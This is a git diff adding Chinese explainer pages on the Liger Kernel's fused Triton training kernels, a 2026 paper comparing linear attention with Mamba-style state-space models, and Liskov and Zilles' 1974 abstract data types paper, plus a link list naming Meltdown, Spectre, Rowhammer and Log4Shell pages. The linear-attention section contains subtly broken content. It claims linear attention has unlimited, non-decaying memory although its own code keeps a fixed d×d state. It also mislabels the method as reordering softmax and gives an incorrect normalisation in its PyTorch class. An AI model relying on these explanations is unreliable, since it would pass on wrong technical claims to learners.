+4. 有时还要**额外租一块巨大的临时仓库**（比如 vocab=256k 时的 logits 张量）。
+
+LinkedIn 在 2024 年开源的 **Liger Kernel**（[arXiv:2410.10989](https://arxiv.org/abs/2410.10989)，[GitHub](https://github.com/linkedin/Liger-Kernel)）干的事，就是把这些「小收费站」也用 [[triton-llm]] 重写成**融合 kernel**：
+
+- **算子融合（kernel fusion）**：多步合成一次 GPU launch，少来回搬货。
+- **原地梯度（in-place gradient）**：算完直接把输入缓冲区覆写成梯度，不另开一张大表。
+- **分块计算（input chunking）**：尤其是最后一层 `Linear + CrossEntropy`，按 chunk 流式投影，**永远不把完整 logits 物化出来**。
+
+论文与官方 benchmark 的典型收益（相对 Hugging Face 默认实现）：
+
+| 指标 | 典型提升 |
+|------|----------|
+| 多卡训练吞吐 | 平均约 **+20%**（Llama3-8B 微调最高约 **+42.8%**） |
+| GPU 峰值显存 | 平均约 **-60%**（部分模型 batch 可到原来 2× 以上） |
+| 单 kernel | CrossEntropy 约 **3×** 更快、**5×** 更省显存；RMSNorm 约 **7×** 更快 |
+
+依赖极简：只要 **PyTorch + Triton**，能与 FlashAttention、FSDP、DeepSpeed ZeRO / ZeRO++ 共存。
+
+---
+
+## 是什么
+
+**Liger Kernel: Efficient Triton Kernels for LLM Training**（Pin-Lun Hsu 等，LinkedIn，2024 年 10 月 arXiv，2025 年 ICML CODEML workshop）是一套**专为 LLM 训练定制的 Triton GPU kernel 库**，不是新模型架构，而是**替换训练路径上的「慢且费显存」算子实现**。
+
+| 项目 | 内容 |
+|------|------|
+| 作者团队 | Pin-Lun Hsu, Yun Dai, Vignesh Kothapalli 等（LinkedIn） |
+| 实现语言 | [Triton](https://github.com/triton-lang/triton)（见 [[triton-2019]]） |
+| 覆盖算子 | RMSNorm、LayerNorm、RoPE、SwiGLU、GeGLU、CrossEntropy、**FusedLinearCrossEntropy (FLCE)** 等 |
+| 后训练扩展 | DPO、ORPO、CPO、SimPO、JSD 等 alignment / distillation loss 的融合 kernel |
+| 集成方式 | Hugging Face `Trainer` / TRL `SFTTrainer`、Axolotl、LLaMA-Factory 等，常只需 `use_liger=True` |
+| 许可证 | 宽松开源（BSD-2-Clause） |
+
+一句话：**FlashAttention 优化 attention；Liger 优化 attention 之外、每层都会跑、且常被忽视的「配角算子 + 损失层」。**
+
+---
+
+## 为什么重要
+
+### 1. 大词表时代的显存杀手：logits 张量
+
+现代 LLM 词表动辄 128k–256k。最后一层要把 hidden state `H ∈ R^{B×T×d}` 投影成 `logits ∈ R^{B×T×V}`。
+
+以 Gemma 为例（论文数字）：单卡、`batch=8`、`seq=4096`、`V=256k`、bf16 时，**仅 logits 就要约 16.8 GB**。而训练峰值显存往往出现在 forward 末尾、backward 释放 activation 之前——**这一块直接把 batch size 和 context length 卡死**。
+
+Liger 的 **FusedLinearCrossEntropy (FLCE)** 从不物化完整 logits，是整套库最具「质变感」的 kernel。
+
+### 2. 训练栈的「第二梯队」瓶颈
+
+在 attention 已被 FlashAttention 优化后，profiler 上常见剩余热点：
+
+- 每层一次的 **RMSNorm / RoPE**（launch 开销 + 内存带宽）；
+- **SwiGLU / GeGLU** FFN（前向要存中间激活，反向占显存）；
+- **CrossEntropy**（softmax + log + 大 vocab 临时缓冲）。
+
+这些算子单次不算最贵，但**层数 × 步数**累积后，足以吃掉 10–20% 端到端时间，并抬高峰值显存。
+
+### 3. 低门槛、可组合
+
+新手：`apply_liger_kernel_to_llama(model)` 或 `use_liger=True` 一行启用。
+
+进阶：单独 import `LigerRMSNorm`、`LigerFusedLinearCrossEntropyLoss` 拼自定义模型。
+
+这与 [[triton-llm]] 倡导的「tile 级 DSL + autotune」路线一致，降低了写高性能 kernel 的门槛。
+
+---
+
+## 核心概念
+
+### 1. Kernel 融合（Operator Fusion）
+
+PyTorch 默认路径里，一个「逻辑操作」往往对应**多个 CUDA kernel launch**，每 launch 一次就要完整读写一遍 HBM。
+
+Liger 把例如 RMSNorm 的「求 RMS → 归一化 → 乘 γ」合成**单个 Triton kernel**；前向时缓存 RMS 等统计量供反向使用，避免重复扫描张量。
+
+类比：原本「称重 → 贴标签 → 打包」三道工序各跑一趟仓库；融合后**一条流水线干完**。
+
+### 2. 原地梯度（In-place Gradient Replacement）
+
+CrossEntropy 的梯度对 logits 有简洁闭式：
+
+```
+∇_x L = softmax(x) − one_hot(target)
+```
+
+Liger CE kernel 在 forward 里就算出该梯度，并**直接写回原来存放 logits 的缓冲区**，不再同时保留「logits + grad_logits」两份大数组。
+
+配合 **online softmax**（流式维护 max 与 sum，不物化完整 softmax 向量），进一步省显存、提速度。
+
+### 3. Fused Linear Cross Entropy（FLCE）与分块
+
+标准训练最后两步：
+
+```
+logits = H @ W^T          # H: (B·T, d), W: (V, d) → logits (B·T, V)
+loss = CrossEntropy(logits, targets)
+```
+
+FLCE 把两步合并，并对 `H` **按 chunk 切片**：
+
+```
+for each chunk h of H:
+    x = h @ W^T                    # 只物化 (chunk_size, V) 的 logits
+    partial_loss, ∇x = CE(x, targets_chunk)
+    accumulate ∇h, ∇W
+```
+
+chunk size 按 `BT`、隐藏维 `H`、词表 `V` 动态选取，在**显存峰值**与 **GPU 利用率**之间折中。论文给出启发式：接近 hidden dim 时常更平衡。
+
+对 **Medusa** 等多解码头训练尤其关键：每个头都要投影到 vocab，若各物化一份 logits 极易 OOM；FLCE 让多头顶训练可行。
+
+### 4. 反向重计算（Recomputation in Backward）
+
+SwiGLU / GeGLU 前向要算 `SiLU(x₁) ⊙ x₂`（或 GELU 变体）。默认实现为反向保存 `SiLU(x₁)` 等中间结果。
+
+Liger 在 backward **用存下来的 x₁、x₂ 重算激活**，以额外算力换显存（与 checkpointing 思想同源）。论文中 seq=16384 时 SwiGLU/GeGLU 峰值显存约降 **1.6×**，速度基本持平。
+
+### 5. 正确性工程：不是「快就行」
+
+论文专章讨论测试实践：
+
+- 与 Hugging Face 参考实现对比，fp32 / bf16 设不同 atol/rtol；
+- **收敛测试**：小模型完整训练，比对 loss 曲线与权重；
+- **连续性（contiguity）**：Triton 直接操作物理内存，非 contiguous 张量会导致 RoPE 等 kernel 静默错误——接入前常需 `.contiguous()`；
+- **大维度 int32 溢出**：`program_id * stride` 超 2³¹ 时要转 int64。
+
+---
+
+## 代码示例
+
+### 示例 1：一行给 Hugging Face 模型打补丁（最常用）
+
+```python
+from transformers import AutoModelForCausalLM
+from liger_kernel.transformers import apply_liger_kernel_to_llama
+
+model = AutoModelForCausalLM.from_pretrained(
+    "meta-llama/Meta-Llama-3-8B-Instruct",
+    torch_dtype=torch.bfloat16,
+    device_map="auto",
+)
+
+# 原地替换 RMSNorm、RoPE、SwiGLU、CE、FLCE 等为 Liger Triton 实现
+apply_liger_kernel_to_llama(model)
+
+# 之后用普通 Trainer / DeepSpeed / FSDP 训练即可
+```
+
+等价的 TRL 开关：
+
+```python
+from trl import SFTConfig, SFTTrainer
+
+trainer = SFTTrainer(
+    model="meta-llama/Meta-Llama-3-8B",
+    train_dataset=dataset,
+    args=SFTConfig(
+        output_dir="./out",
+        per_device_train_batch_size=4,
+        use_liger=True,   # 自动加载 AutoLigerKernelForCausalLM
+    ),
+)
+trainer.train()
+```
+
+### 示例 2：手写小模型，单独使用 FLCE（理解分块融合）
+
+```python
+import torch
+import torch.nn as nn
+from liger_kernel.transformers import LigerFusedLinearCrossEntropyLoss
+
+# 语言模型头：d=128 维隐藏态，vocab=256
+head = nn.Linear(128, 256, bias=False).cuda()
+loss_fn = LigerFusedLinearCrossEntropyLoss()
+
+# batch=4 个 token 的隐藏向量（已是 lm_head 输入）
+hidden = torch.randn(4, 128, requires_grad=True, device="cuda", dtype=torch.bfloat16)
+targets = torch.randint(0, 256, (4,), device="cuda")
+
+# 内部：分 chunk 做 hidden @ W^T，立刻算 CE，不保留完整 logits
+loss = loss_fn(head.weight, hidden, targets)
+loss.backward()
+
+# head.weight.grad 与 hidden.grad 已就绪，峰值显存远低于先 materialize logits
+```
+
+对比朴素写法（**不要在大词表生产路径上用**）：
+
+```python
+# 朴素路径：logits (B, T, V) 完整落盘 —— V=256k 时灾难性
+logits = hidden @ head.weight.T          # 巨大张量
+loss = torch.nn.functional.cross_entropy(logits, targets)
+loss.backward()
+```
+
+### 示例 3：Triton 风格 — 简化版 Fused RMSNorm 思路（教学用）
+
+下面不是 Liger 源码，而是帮助理解「融合 + 缓存统计量」的伪 Triton 结构（与 [[triton-llm]] 教程同构）：
+
+```python
+import triton
+import triton.language as tl
+
+@triton.jit
+def rms_norm_fwd_kernel(x_ptr, y_ptr, rms_ptr, weight_ptr, n_cols, eps, BLOCK: tl.constexpr):
+    row = tl.program_id(0)
+    cols = tl.arange(0, BLOCK)
+    mask = cols < n_cols
+
+    x = tl.load(x_ptr + row * n_cols + cols, mask=mask, other=0.0).to(tl.float32)
+    rms = tl.sqrt(tl.sum(x * x, axis=0) / n_cols + eps)
+    tl.store(rms_ptr + row, rms)   # 反向复用，避免第二遍扫描
+
+    w = tl.load(weight_ptr + cols, mask=mask, other=1.0)
+    y = (x / rms) * w
+    tl.store(y_ptr + row * n_cols + cols, y, mask=mask)
+```
+
+Liger 的生产 kernel 还处理多维 stride、bf16/fp32 混合精度、与 Transformer 布局对齐等细节；**思想**是：一次 kernel 完成归一化，并把 RMS **缓存给 backward**。
+
+---
+
+## 端到端 benchmark 怎么读
+
+论文在 4×A100 上对 Alpaca 微调多款 7B–8B 模型（seq=512，bf16，AdamW）。摘录代表性数字：
+
+| 模型 | batch | 吞吐变化 | 峰值显存变化 |
+|------|-------|----------|--------------|
+| LLaMA 3-8B | 64 | **+42.8%** | **−54.8%** |
+| Qwen2 | 48 | **+25.5%** | **−56.8%** |
+| Gemma 7B | 48 | **+11.9%** | **−51.8%** |
+| Mistral 7B | 128 | **+27%** | **−21%** |
+| Phi-3 | 128 | **+17%** | **−13%** |
+
+解读要点：
+
+- 收益与**基线实现质量**有关：HF 路径越「碎」、中间张量越多，Liger 优势越大。
+- 显存省下后，可把 batch 或 seq **再往上推**，吞吐二次受益。
+- 与 FlashAttention 正交：一个管 attention，一个管 norm/FFN/loss；应同时开启。
+
+---
+
+## 与相关工作的关系
+
+```mermaid
+flowchart LR
+    subgraph 训练加速栈
+        FA[FlashAttention 系\nattention 内存/算力]
+        LK[Liger Kernel\nnorm / FFN / CE / FLCE]
+        DS[DeepSpeed / FSDP\n分片与 ZeRO]
+    end
+    FA --> 端到端训练
+    LK --> 端到端训练
+    DS --> 端到端训练
+```
+
+| 对比对象 | 关系 |
+|----------|------|
+| [[flash-attention]] / [[flashattention-2]] | 互补；Liger 明确支持与 FlashAttention 共存 |
+| PyTorch `torch.compile` / Inductor | 都追求融合；Liger 是**手工调优的 domain-specific kernel**，对大词表 CE 等场景更成熟 |
+| `efficient_cross_entropy` 等社区方案 | FLCE 的 chunking 思路受其启发（论文致谢 GitHub discussion） |
+| CUDA 手写 kernel | Triton 更易维护、跨 GPU autotune；Liger 选择 Triton 换开发效率 |
+
+---
+
+## 踩坑与最佳实践
+
+1. **先确认张量 contiguous**：尤其 RoPE 接 `scaled_dot_product_attention` 后，layout 可能非连续，loss 会「能跑但不对」。
+2. **bf16 收敛测试**：kernel 级 atol/rtol 放宽后，仍建议跑几百 step 看 loss 曲线是否与 baseline 重合。
+3. **不要指望推理加速**：Liger 面向**训练**路径；推理瓶颈通常在 decode attention 与 KV cache（见 [[paged-attention-vllm]]），不是 RMSNorm 融合。
+4. **词表越大，FLCE 越值得开**：7B + 32k vocab 可能「有感但不夸张」；128k/256k + 长上下文时往往是**能不能训下去**的分水岭。
+5. **分布式兼容性**：官方测试覆盖 FSDP、DeepSpeed ZeRO；升级 PyTorch/TRL 后留意 patch 函数是否与模型类名匹配。
+
+---
+
+## 适用 vs 不适用
+
+| 场景 | 建议 |
+|------|------|
+| HF/TRL 上微调 Llama、Qwen、Gemma、Mistral 等 | **强烈推荐** `use_liger=True` 或对应 `apply_liger_kernel_to_*` |
+| 超大词表预训练 / SFT | **必看 FLCE** |
+| Medusa 等多解码头训练 | **强烈推荐**（避免多头 logits OOM） |
+| 自定义 nn.Module、自研训练栈 | 可单独引入 `LigerRMSNorm`、`LigerFusedLinearCrossEntropyLoss` 等 |
+| 只做推理部署 | 通常**不需要** |
+| 极小模型 / 教学 demo | 收益有限，复杂度不划算 |
+
+---
+
+## 小结
+
+Liger Kernel 的核心贡献不是新算法，而是**把 LLM 训练里「每层都跑、却长期被忽视」的算子，用 Triton 做成融合、省显存、易集成的工业级实现**：
+
+1. **Kernel fusion** 减少 HBM 往返与 launch 开销；
+2. **In-place gradient + online softmax** 压缩 CrossEntropy 显存；
+3. **FusedLinearCrossEntropy + chunking** 解决大词表 logits 物化问题；
+4. **模块化 API** 让新手一行启用、专家可拆 kernel 组装。
+
+若你已用上 FlashAttention，却仍在训练时撞显存或吞吐不理想，下一步很值得检查：**最后一层 CE 与各类 Norm/FFN 是否还在走 PyTorch 默认的「多趟收费站」路径**。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2410.10989](https://arxiv.org/abs/2410.10989)
+- 代码：[github.com/linkedin/Liger-Kernel](https://github.com/linkedin/Liger-Kernel)
+- 文档：[linkedin.github.io/Liger-Kernel](https://linkedin.github.io/Liger-Kernel/)
+- Triton 背景：[[triton-2019]]、[[triton-llm]]
+- Attention 优化：[[flash-attention]]、[[flashattention-2]]
+- 推理侧 KV 管理：[[paged-attention-vllm]]
diff --git a/src/content/docs/papers/linear-attention-still-2026.md b/src/content/docs/papers/linear-attention-still-2026.md
new file mode 100644
index 000000000..6bdd0d0cd
--- /dev/null
+++ b/src/content/docs/papers/linear-attention-still-2026.md
@@ -0,0 +1,349 @@
+---
+title: Linear Attention, Still: Why Mamba-style Models Plateau
+来源: https://arxiv.org/abs/2605.30621
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Linear Attention, Still: Why Mamba-style Models Plateau
+
+## 一、一句话总结
+
+这篇论文说：Mamba 这类状态空间模型（SSM）之所以在长序列上性能不如 Transformer，根本原因是它们的"记忆窗口"太短——它们只能记住最近的几百个 token，而线性注意力（Linear Attention）通过一个更简单的数学 trick 就能做到无限记忆窗口，而且速度一样快。
+
+## 二、日常类比：餐厅服务员 vs 餐厅经理
+
+想象你要点一道复杂的菜，厨师需要参考之前的订单记录。
+
+**Transformer（带 Attention）**：像一个记忆力超群的经理，他能同时记住你过去所有订单的每一个细节。每次你下单，他都会把历史订单全部翻一遍，找出相似的模式来帮你决策。好处是精准，坏处是如果订单多了（比如几千条），翻完所有记录要花很久。
+
+**Mamba / SSM**：像一个有经验的服务员，他只用一本小笔记本。每来一个新订单，他就把笔记本上的内容更新一下——旧的淡出，新的写入。本子容量有限，所以他只能记住最近的几十条。好处是快，坏处是太早的订单全忘了。
+
+**Linear Attention**：像另一个经理，他也记所有订单，但他不逐条翻阅，而是用一个"摘要本"——把所有订单的关键特征累加在一起。每次查的时候只看摘要本，速度极快，而且理论上摘要本可以无限大，不会遗忘。
+
+论文的核心发现就是：服务员（Mamba）之所以跑不赢经理（Transformer），不是因为服务员笨，而是因为本子的容量限制。而那个用摘要本的经理（Linear Attention），既快又不忘。
+
+## 三、核心概念拆解
+
+### 3.1 标准 Attention（Scaled Dot-Product Attention）
+
+这是 Transformer 的核心。它的计算方式是：
+
+```python
+def standard_attention(Q, K, V):
+    """
+    Q, K, V 都是形状为 [batch, seq_len, d_model] 的张量
+    
+    标准 Attention 的计算公式：
+    Attention(Q, K, V) = softmax(Q @ K^T / sqrt(d)) @ V
+    
+    其中 @ 表示矩阵乘法，^T 表示转置
+    """
+    d = Q.shape[-1]  # 隐藏层维度
+    
+    # 第一步：计算 Q 和 K 的点积 —— 衡量每个位置对其他位置的"关注程度"
+    scores = Q @ K.transpose(-2, -1) / (d ** 0.5)
+    
+    # 第二步：Softmax 归一化 —— 把分数变成概率分布（加起来等于 1）
+    attention_weights = softmax(scores, dim=-1)
+    
+    # 第三步：用权重加权求和 V —— 综合所有位置的信息
+    output = attention_weights @ V
+    
+    return output
+```
+
+**复杂度问题**：Q 和 K 相乘得到的是 `[batch, seq_len, seq_len]` 的矩阵。如果序列长度是 10000，这个矩阵就有 1 亿个元素。这就是为什么 Transformer 处理长序列很慢——**时间复杂度是 O(n^2)**。
+
+### 3.2 线性注意力（Linear Attention）
+
+线性注意力的关键洞察：**交换 Softmax 和矩阵乘法的顺序**。
+
+```python
+def linear_attention(Q, K, V):
+    """
+    线性 Attention 的计算方式：
+    
+    标准 Attention:  softmax(QK^T) @ V
+    线性 Attention:  (softmax(QK^T) @ V) 
+                   ≈  (QK^T @ V)  去掉 softmax 或用核函数近似
+    
+    利用结合律：(QK^T) @ V = Q @ (K^T @ V)
+    先算 K^T @ V，再把结果和 Q 相乘
+    """
+    # 第一步：先算 K^T @ V —— 这是一个 [d, d] 的小矩阵
+    KV = K.transpose(-2, -1) @ V  # [batch, d, d]
+    
+    # 第二步：再用 Q 乘以这个聚合结果
+    output = Q @ KV  # [batch, seq_len, d]
+    
+    return output
+```
+
+**复杂度优势**：K^T @ V 的结果只和维度 d 有关，和序列长度 n 无关。所以总复杂度是 **O(n)**，线性增长。
+
+### 3.3 状态空间模型（SSM）/ Mamba
+
+Mamba 是 SSM 的高效实现。它的核心思想是用一个"状态向量"来压缩历史信息：
+
+```python
+def ssm_step(x_t, state, params):
+    """
+    SSM 的单步递推：
+    
+    state_{t} = A @ state_{t-1} + B @ x_t    （状态更新）
+    y_t       = C @ state_t                     （输出）
+    
+    其中 A, B, C 是模型参数（可以是随时间变化的）
+    x_t 是当前输入，y_t 是当前输出
+    """
+    A, B, C = params
+    
+    # 状态按指数衰减：旧信息逐渐"遗忘"
+    new_state = A @ state + B @ x_t
+    
+    # 输出只依赖当前状态
+    output = C @ new_state
+    
+    return output, new_state
+
+
+def mamba_forward(sequence, params):
+    """
+    Mamba 对整个序列的前向传播：
+    
+    依次递推，每一步只依赖前一步的状态
+    """
+    state = zeros(params.A.shape[0])  # 初始状态为零
+    outputs = []
+    
+    for x_t in sequence:  # 逐个 token 处理
+        output, state = ssm_step(x_t, state, params)
+        outputs.append(output)
+    
+    return stack(outputs)
+```
+
+**关键限制**：SSM 的状态向量维度是固定的（比如 64 或 128），这意味着它能存储的信息总量是有上限的。早期的信息会被指数级衰减掉。论文把这个称为 **"记忆瓶颈"**。
+
+## 四、论文的三大核心发现
+
+### 发现一：Mamba 的记忆窗口只有约 1K-2K tokens
+
+论文通过实验测量了不同模型能"有效记住"多远的位置。结果是：
+
+- Transformer（Attention）：理论上可以记住任意远的位置
+- Mamba / SSM：有效记忆窗口大约 1000-2000 个 token
+- 超过这个距离后，模型表现几乎退化到"完全不知道前面有什么"
+
+这就像服务员的小笔记本只能写一页，翻到第二页第一页的内容就看不见了。
+
+### 发现二：Linear Attention 在长序列上持续超越 Mamba
+
+论文在多个基准测试中对比了 Linear Attention 和 Mamba：
+
+- 短序列（< 512 tokens）：两者差距不大
+- 中等序列（1K-4K tokens）：Linear Attention 开始领先
+- 长序列（8K+ tokens）：Linear Attention 显著优于 Mamba
+
+### 发现三：Linear Attention 的改进方向很清晰
+
+论文指出，如果把 Linear Attention 中的核函数（kernel function）设计得更好，性能还能继续提升。具体来说：
+
+1. 用更好的核函数替代简单的 exp 衰减
+2. 加入位置编码的感知
+3. 多层堆叠时的信息保留策略
+
+## 五、为什么这个发现重要？
+
+### 对模型设计的启示
+
+```python
+# 传统思路：在 SSM 上下功夫
+# 假设：SSM 不够好是因为实现不够精妙
+# 于是不断修改 A, B, C 参数的计算方式
+
+# 论文揭示的思路：SSM 不够好是因为理论上限低
+# 假设：SSM 的记忆瓶颈是根本性的
+# 于是转向 Linear Attention —— 它有更高的理论上限
+```
+
+### 对实际工程的启示
+
+如果你在做长文本处理（比如代码生成、法律文档分析、医学报告），Linear Attention 可能是比 Mamba 更好的选择。原因很简单：
+
+- 你的文本可能长达数万 token
+- Mamba 只能记住最近的一两千个
+- Linear Attention 可以记住全部，而且速度一样快
+
+## 六、代码对比：三种方法的完整实现
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+
+class StandardAttention(nn.Module):
+    """标准 Transformer Attention —— O(n^2) 复杂度"""
+    
+    def __init__(self, d_model, num_heads=8):
+        super().__init__()
+        self.num_heads = num_heads
+        self.d_k = d_model // num_heads
+        self.W_q = nn.Linear(d_model, d_model)
+        self.W_k = nn.Linear(d_model, d_model)
+        self.W_v = nn.Linear(d_model, d_model)
+        self.W_o = nn.Linear(d_model, d_model)
+    
+    def forward(self, x):
+        batch_size, seq_len, _ = x.shape
+        
+        Q = self.W_q(x).view(batch_size, seq_len, self.num_heads, self.d_k)
+        K = self.W_k(x).view(batch_size, seq_len, self.num_heads, self.d_k)
+        V = self.W_v(x).view(batch_size, seq_len, self.num_heads, self.d_k)
+        
+        Q = Q.transpose(1, 2)  # [batch, heads, seq, d_k]
+        K = K.transpose(1, 2)
+        V = V.transpose(1, 2)
+        
+        # 计算注意力分数 —— O(n^2)
+        scores = torch.matmul(Q, K.transpose(-2, -1)) / (self.d_k ** 0.5)
+        attn = F.softmax(scores, dim=-1)
+        
+        # 加权求和
+        output = torch.matmul(attn, V)
+        output = output.transpose(1, 2).reshape(batch_size, seq_len, -1)
+        
+        return self.W_o(output)
+
+
+class LinearAttention(nn.Module):
+    """线性 Attention —— O(n) 复杂度，理论上无限记忆"""
+    
+    def __init__(self, d_model, num_heads=8):
+        super().__init__()
+        self.num_heads = num_heads
+        self.d_k = d_model // num_heads
+        self.W_q = nn.Linear(d_model, d_model)
+        self.W_k = nn.Linear(d_model, d_model)
+        self.W_v = nn.Linear(d_model, d_model)
+        self.W_o = nn.Linear(d_model, d_model)
+        # 小的 epsilon 防止除零
+        self.eps = 1e-6
+    
+    def forward(self, x):
+        batch_size, seq_len, _ = x.shape
+        
+        Q = F.relu(self.W_q(x))  # ReLU 作为正核函数
+        K = F.relu(self.W_k(x))
+        V = self.W_v(x)
+        
+        Q = Q.view(batch_size, seq_len, self.num_heads, self.d_k)
+        K = K.view(batch_size, seq_len, self.num_heads, self.d_k)
+        V = V.view(batch_size, seq_len, self.num_heads, self.d_k)
+        
+        Q = Q.transpose(1, 2)
+        K = K.transpose(1, 2)
+        V = V.transpose(1, 2)
+        
+        # 关键优化：先算 K^T @ V，再和 Q 相乘
+        # K^T @ V 的结果是 [batch, heads, d_k, d_k] —— 和序列长度无关！
+        KV = torch.matmul(K.transpose(-2, -1), V)
+        output = torch.matmul(Q, KV)
+        
+        # 归一化
+        denominator = Q.sum(dim=-1, keepdim=True).clamp(min=self.eps)
+        output = output / denominator
+        
+        output = output.transpose(1, 2).reshape(batch_size, seq_len, -1)
+        return self.W_o(output)
+
+
+class BasicSSM(nn.Module):
+    """简化版 SSM（Mamba 的核心组件）—— 有记忆瓶颈"""
+    
+    def __init__(self, d_model, state_dim=64):
+        super().__init__()
+        self.d_model = d_model
+        self.state_dim = state_dim
+        
+        # SSM 的参数
+        self.A = nn.Parameter(torch.randn(state_dim, state_dim) * 0.1)
+        self.B = nn.Linear(d_model, state_dim)
+        self.C = nn.Linear(state_dim, d_model)
+        self.output_gate = nn.Linear(d_model, d_model)
+    
+    def forward(self, x):
+        """
+        x: [batch, seq_len, d_model]
+        
+        对每个时间步递推：
+        state_t = A @ state_{t-1} + B @ x_t
+        y_t     = C @ state_t * sigmoid(gate_t)
+        """
+        batch_size, seq_len, _ = x.shape
+        state = torch.zeros(batch_size, self.state_dim, device=x.device)
+        outputs = []
+        
+        for t in range(seq_len):
+            x_t = x[:, t, :]  # [batch, d_model]
+            
+            # 状态更新 —— 注意 A 的特征值通常小于 1，
+            # 导致旧信息指数衰减
+            state = torch.matmul(state, self.A.t()) + self.B(x_t)
+            
+            # 输出
+            output = self.C(state) * torch.sigmoid(self.output_gate(x_t))
+            outputs.append(output)
+        
+        return torch.stack(outputs, dim=1)
+```
+
+## 七、关键数学直觉
+
+### 为什么 SSM 会遗忘？
+
+SSM 的状态更新公式是：
+
+```
+state_t = A @ state_{t-1} + B @ x_t
+```
+
+如果 A 的特征值都小于 1（这是稳定性的要求），那么：
+
+```
+state_t = A^n @ state_0 + A^{n-1}B @ x_1 + ... + A @ x_{n-1} + B @ x_n
+```
+
+A 的幂次越高，贡献越小。也就是说，**第 1 步的信息在 100 步之后只剩原来的 A^100**。如果 A = 0.99，那么 100 步后只剩 37%，1000 步后只剩 0.004%。
+
+### 为什么 Linear Attention 不会遗忘？
+
+Linear Attention 的聚合形式是：
+
+```
+output = Q @ (sum_i K_i^T @ V_i)
+```
+
+这个 sum 是**累加的**，不会衰减。第 1 步的信息和第 10000 步的信息以同等权重被包含在内。只要核函数设计得当，理论上没有任何信息会被"冲掉"。
+
+## 八、学习小结
+
+这篇论文的价值不在于提出了一个新模型，而在于**用系统性的实验澄清了一个长期存在的混淆**：
+
+| 模型类型 | 记忆能力 | 计算复杂度 | 长序列表现 |
+|---------|---------|-----------|----------|
+| Transformer (Attention) | 无限 | O(n^2) | 好但慢 |
+| Mamba (SSM) | 约 1K tokens | O(n) | 中等 |
+| Linear Attention | 无限 | O(n) | 好且快 |
+
+对零基础学习者的建议：
+
+1. 先理解标准 Attention 的 O(n^2) 瓶颈在哪里
+2. 再理解 Linear Attention 如何通过矩阵结合律打破这个瓶颈
+3. 最后理解 SSM 的记忆瓶颈是结构性的，不是工程问题
+
+这篇论文告诉我们：有时候模型跑不动不是因为不够聪明，而是因为"笔记本太小"。换一种记录方式，比不断改良记录方式更有效。
diff --git a/src/content/docs/papers/lipp-meltdown-2018.md b/src/content/docs/papers/lipp-meltdown-2018.md
index b873d2179..3fc162a7c 100644
--- a/src/content/docs/papers/lipp-meltdown-2018.md
+++ b/src/content/docs/papers/lipp-meltdown-2018.md
@@ -163,5 +163,9 @@ Meltdown 论文在**公有云实例**上验证：同一物理机上的普通 VM
 - [[hoare-logic]] —— Hoare Logic — 把"程序对不对"变成"数学证明对不对"
 - [[kildall-dataflow]] —— Kildall 数据流框架 — 用一套格论统一所有全局编译优化
 - [[libsignal]] —— libsignal — 端到端加密的 Rust 内核
+- [[log4shell-cve-2021-44228]] —— Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器
+- [[meltdown-attack-2018]] —— Meltdown — 从用户空间偷读内核内存
+- [[rowhammer-2014]] —— Row Hammer — 不碰邻居也能把邻居的位翻过来
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
 - [[xen-2003]] —— Xen 2003 — 让操作系统配合虚拟化，性能直接接近原生
 
diff --git a/src/content/docs/papers/liskov-abstraction-1974.md b/src/content/docs/papers/liskov-abstraction-1974.md
new file mode 100644
index 000000000..b1d2b0f10
--- /dev/null
+++ b/src/content/docs/papers/liskov-abstraction-1974.md
@@ -0,0 +1,267 @@
+---
+title: Programming with Abstract Data Types — Liskov & Zilles 1974 抽象数据类型宣言
+来源: https://en.wikipedia.org/wiki/Abstract_data_type
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+1974 年 3 月，MIT 的 **Barbara Liskov** 与 IBM 剑桥系统组的 **Stephen Zilles** 在 *ACM SIGPLAN Notices*（第 9 卷第 4 期，页 50–59）发表了 **Programming with Abstract Data Types**。论文出自他们为**结构化编程**设计一门新语言（后来定名为 **CLU**）的工作，首次把「抽象数据类型（Abstract Data Type, ADT）」写成了可操作的编程语言机制，而不只是教科书里的概念。
+
+日常类比：你去银行办业务，柜台只给你**账户号、存款、取款、查余额**这几项操作——你不需要知道金库里钞票怎么码放、账本记在哪种数据库里。若银行明天把账本从纸质换成电子，只要「存款 / 取款」的语义不变，你的用法就不变。**ADT 就是把这种「只暴露操作、隐藏实现」的契约，写进编程语言里。**
+
+论文要回答的核心问题是：高级语言内置的 `int`、`array` 等抽象永远不够用，语言设计者**不可能提前猜中**所有领域需要的类型。解决办法不是无限往语言里塞新关键字，而是给程序员一种**自己定义新抽象**的机制——在 CLU 里叫 **operation cluster（操作簇，简称 cluster）**。
+
+## 历史背景
+
+| 时间 | 事件 |
+|------|------|
+| 1968 | Dijkstra 发表 [[dijkstra-goto-1968]]，结构化编程运动兴起 |
+| 1971–72 | Wirth 等人推广**逐步求精（stepwise refinement）**：先写抽象机器上的程序，再一层层填实现细节 |
+| 1973 | Liskov 在 MIT 技术报告中提出 cluster 雏形，对象放堆上、编译期完整类型检查 |
+| 1974-03 | 本文在「Very High Level Languages」研讨会上发表（DOI: [10.1145/942572.807045](https://doi.org/10.1145/942572.807045)） |
+| 1975+ | CLU 实现成熟；Java `class`、C++ `class`、Rust `struct` + `impl`、Go 未导出字段等，都可视为 ADT 思想的后裔 |
+| 1980s | Guttag 等人发展**代数规范**；Liskov 本人因 CLU 与分布式系统工作获 2008 年图灵奖 |
+
+论文写于「极高层次语言（very-high-level languages）」热潮之中：目标是把程序员从位运算和内存布局里解放出来，让他**在问题域合适的抽象上思考**。Liskov 与 Zilles 的洞见是：**抽象本身也应该是可扩展的**——语言应像「无限层次的高级语言」，而不是固定抽象清单。
+
+## 为什么重要
+
+不理解这篇 1974 年的短文，下面这些事很难放在同一张图上：
+
+- 为什么 Java 的 `List` 接口、Rust 的 `trait`、Go 的「小接口」都在说**行为定义类型**，而不是「这个 struct 里有哪些字段」
+- 为什么「把表示细节藏起来」是模块边界的第一原则，而不是可有可无的编码风格
+- 为什么 [[standard-ml]] 的 `signature` / `structure`、OCaml 的模块、Haskell 的 `data` + 导出列表，都和同一套 ADT 家谱有关
